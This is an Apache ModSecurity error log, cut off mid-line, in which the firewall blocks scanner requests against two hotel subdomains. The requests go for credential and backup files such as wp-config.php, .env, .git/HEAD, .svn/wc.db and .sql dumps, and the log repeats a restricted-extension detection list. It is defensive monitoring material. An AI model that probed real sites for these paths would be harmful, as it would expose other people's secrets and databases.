[Sun Oct 25 00:13:32.017754 2026] [security2:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "at2B7GTNY6y0aXZ6joCadQAAADk"]
[Sun Oct 25 00:13:32.018000 2026] [security2:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "at2B7GTNY6y0aXZ6joCadQAAADk"]
[Sun Oct 25 00:13:32.018232 2026] [security2:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "at2B7GTNY6y0aXZ6joCadQAAADk"]
[Sun Oct 25 00:13:32.093943 2026] [security2:error] [pid 2759043:tid 2759043] [client 81.171.72.93:42272] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at2B7LfQdvgLJqDYDw-HHAAAACc"]
[Sun Oct 25 00:13:32.094152 2026] [security2:error] [pid 2759043:tid 2759043] [client 81.171.72.93:42272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at2B7LfQdvgLJqDYDw-HHAAAACc"]
[Sun Oct 25 00:13:32.094464 2026] [security2:error] [pid 2759043:tid 2759043] [client 81.171.72.93:42272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at2B7LfQdvgLJqDYDw-HHAAAACc"]
[Sun Oct 25 00:13:32.105377 2026] [proxy_fcgi:error] [pid 2759057:tid 2759057] [client 91.148.244.131:54384] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 00:13:32.119585 2026] [security2:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2B7GTNY6y0aXZ6joCadgAAADk"]
[Sun Oct 25 00:13:32.119787 2026] [security2:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2B7GTNY6y0aXZ6joCadgAAADk"]
[Sun Oct 25 00:13:32.120028 2026] [security2:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2B7GTNY6y0aXZ6joCadgAAADk"]
[Sun Oct 25 00:13:32.199322 2026] [security2:error] [pid 2759074:tid 2759074] [client 91.148.244.131:54402] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at2B7NsOgdpl1YJRCNQVWgAAAEU"]
[Sun Oct 25 00:13:32.199489 2026] [security2:error] [pid 2759074:tid 2759074] [client 91.148.244.131:54402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at2B7NsOgdpl1YJRCNQVWgAAAEU"]
[Sun Oct 25 00:13:32.199720 2026] [security2:error] [pid 2759074:tid 2759074] [client 91.148.244.131:54402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at2B7NsOgdpl1YJRCNQVWgAAAEU"]
[Sun Oct 25 00:13:32.202623 2026] [security2:error] [pid 2759057:tid 2759057] [client 91.148.244.131:54384] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "at2B7GnoVolia533WIkgkwAAADQ"]
[Sun Oct 25 00:13:32.202830 2026] [security2:error] [pid 2759057:tid 2759057] [client 91.148.244.131:54384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "at2B7GnoVolia533WIkgkwAAADQ"]
[Sun Oct 25 00:13:32.203100 2026] [security2:error] [pid 2759057:tid 2759057] [client 91.148.244.131:54384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "at2B7GnoVolia533WIkgkwAAADQ"]
[Sun Oct 25 00:13:32.205482 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "at2B7ONw4YxNM9StcJUGwAAAADI"]
[Sun Oct 25 00:13:32.205665 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "at2B7ONw4YxNM9StcJUGwAAAADI"]
[Sun Oct 25 00:13:32.205991 2026] [security2:error] [pid 2759055:tid 2759055] [client 91.148.244.131:54392] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "at2B7ONw4YxNM9StcJUGwAAAADI"]
[Sun Oct 25 00:13:32.217631 2026] [security2:error] [pid 2759069:tid 2759069] [client 81.171.72.93:42244] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at2B7NNN1ZaQv3xNKA96BgAAAEA"]
[Sun Oct 25 00:13:32.217826 2026] [security2:error] [pid 2759069:tid 2759069] [client 81.171.72.93:42244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at2B7NNN1ZaQv3xNKA96BgAAAEA"]
[Sun Oct 25 00:13:32.218100 2026] [security2:error] [pid 2759069:tid 2759069] [client 81.171.72.93:42244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at2B7NNN1ZaQv3xNKA96BgAAAEA"]
[Sun Oct 25 00:13:32.283806 2026] [authz_core:error] [pid 2759048:tid 2759048] [client 75.127.6.2:39984] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 00:13:32.286228 2026] [proxy_fcgi:error] [pid 2759043:tid 2759043] [client 81.171.72.93:42272] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 00:13:32.296961 2026] [security2:error] [pid 2759074:tid 2759074] [client 91.148.244.131:54402] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "at2B7NsOgdpl1YJRCNQVWwAAAEU"]
[Sun Oct 25 00:13:32.297177 2026] [security2:error] [pid 2759074:tid 2759074] [client 91.148.244.131:54402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "at2B7NsOgdpl1YJRCNQVWwAAAEU"]
[Sun Oct 25 00:13:32.297442 2026] [security2:error] [pid 2759074:tid 2759074] [client 91.148.244.131:54402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "at2B7NsOgdpl1YJRCNQVWwAAAEU"]
[Sun Oct 25 00:13:32.299281 2026] [security2:error] [pid 2759057:tid 2759057] [client 91.148.244.131:54384] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at2B7GnoVolia533WIkglAAAADQ"]
[Sun Oct 25 00:13:32.299401 2026] [security2:error] [pid 2759057:tid 2759057] [client 91.148.244.131:54384] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at2B7GnoVolia533WIkglAAAADQ"]
[Sun Oct 25 00:13:32.299517 2026] [security2:error] [pid 2759057:tid 2759057] [client 91.148.244.131:54384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at2B7GnoVolia533WIkglAAAADQ"]
[Sun Oct 25 00:13:32.299733 2026] [security2:error] [pid 2759057:tid 2759057] [client 91.148.244.131:54384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at2B7GnoVolia533WIkglAAAADQ"]
[Sun Oct 25 00:13:32.319310 2026] [security2:error] [pid 2759069:tid 2759069] [client 81.171.72.93:42244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2B7NNN1ZaQv3xNKA96BwAAAEA"]
[Sun Oct 25 00:13:32.319478 2026] [security2:error] [pid 2759069:tid 2759069] [client 81.171.72.93:42244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2B7NNN1ZaQv3xNKA96BwAAAEA"]
[Sun Oct 25 00:13:32.319753 2026] [security2:error] [pid 2759069:tid 2759069] [client 81.171.72.93:42244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2B7NNN1ZaQv3xNKA96BwAAAEA"]
[Sun Oct 25 00:13:32.322467 2026] [security2:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2B7GTNY6y0aXZ6joCaeAAAADk"]
[Sun Oct 25 00:13:32.322588 2026] [security2:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2B7GTNY6y0aXZ6joCaeAAAADk"]
[Sun Oct 25 00:13:32.322808 2026] [security2:error] [pid 2759096:tid 2759096] [client 81.171.72.93:42280] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2B7GTNY6y0aXZ6joCaeAAAADk"]
[Sun Oct 25 00:13:32.384292 2026] [security2:error] [pid 2759043:tid 2759043] [client 81.171.72.93:42272] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag 